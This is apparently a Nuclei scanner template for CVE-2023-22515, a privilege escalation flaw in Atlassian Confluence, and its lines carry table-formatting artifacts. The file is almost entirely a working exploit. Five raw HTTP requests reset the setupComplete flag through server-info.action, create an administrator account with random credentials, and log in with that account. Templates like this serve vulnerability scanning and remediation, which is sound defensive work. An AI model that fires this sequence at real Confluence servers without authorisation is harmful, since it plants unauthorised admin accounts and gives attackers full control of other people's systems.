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id: CVE-2023-22515 | ||
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info: | ||
name: Atlassian Confluence - Privilege Escalation | ||
author: s1r1us,iamnoooob,rootxharsh,pdresearch | ||
severity: critical | ||
description: | | ||
Atlassian Confluence Data Center and Server contains a privilege escalation vulnerability that allows an attacker to create unauthorized Confluence administrator accounts and access Confluence. | ||
remediation: | | ||
Update to the latest version of Confluence | ||
reference: | ||
- https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis | ||
- https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html | ||
- https://confluence.atlassian.com/kb/faq-for-cve-2023-22515-1295682188.html | ||
- https://jira.atlassian.com/browse/CONFSERVER-92475 | ||
- https://www.cisa.gov/news-events/alerts/2023/10/05/cisa-adds-three-known-exploited-vulnerabilities-catalog | ||
classification: | ||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | ||
cvss-score: 10 | ||
cve-id: CVE-2023-22515 | ||
epss-score: 0.00126 | ||
epss-percentile: 0.46728 | ||
metadata: | ||
verified: true | ||
max-request: 1 | ||
fofa-query: app="ATLASSIAN-Confluence" | ||
tags: cve,cve2023,confluence,auth-bypass,kev,intrusive | ||
|
||
http: | ||
- raw: | ||
- | | ||
GET /setup/setupadministrator-start.action HTTP/1.1 | ||
Host: {{Hostname}} | ||
Connection: close | ||
- | | ||
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=0&cache{{randstr}} HTTP/1.1 | ||
Host: {{Hostname}} | ||
Connection: close | ||
- | | ||
GET /setup/setupadministrator-start.action HTTP/1.1 | ||
Host: {{Hostname}} | ||
Connection: close | ||
- | | ||
@timeout:20s | ||
POST /setup/setupadministrator.action HTTP/1.1 | ||
Host: {{Hostname}} | ||
Content-Type: application/x-www-form-urlencoded | ||
X-Atlassian-Token: no-check | ||
username={{to_lower(username)}}&fullName=admin&email={{randstr_3}}%40{{randstr_4}}.com&password={{password}}&confirm={{password}}&setup-next-button=Next | ||
- | | ||
POST /dologin.action HTTP/1.1 | ||
Host: {{Hostname}} | ||
Content-Type: application/x-www-form-urlencoded | ||
X-Atlassian-Token: no-check | ||
os_username={{to_lower(username)}}&os_password={{password}}&login=Log+in&os_destination=%2Findex.action | ||
cookie-reuse: true | ||
attack: pitchfork | ||
payloads: | ||
username: | ||
- "{{randstr_1}}" | ||
password: | ||
- "{{randstr_2}}" | ||
redirects: true | ||
max-redirects: 2 | ||
matchers: | ||
- type: dsl | ||
dsl: | ||
- contains(body_1, 'Setup is already complete') | ||
- contains(body_3, 'Please configure the system administrator account for this Confluence installation') | ||
- contains(location_5, '/index.action') | ||
- status_code_5 == 302 | ||
condition: and |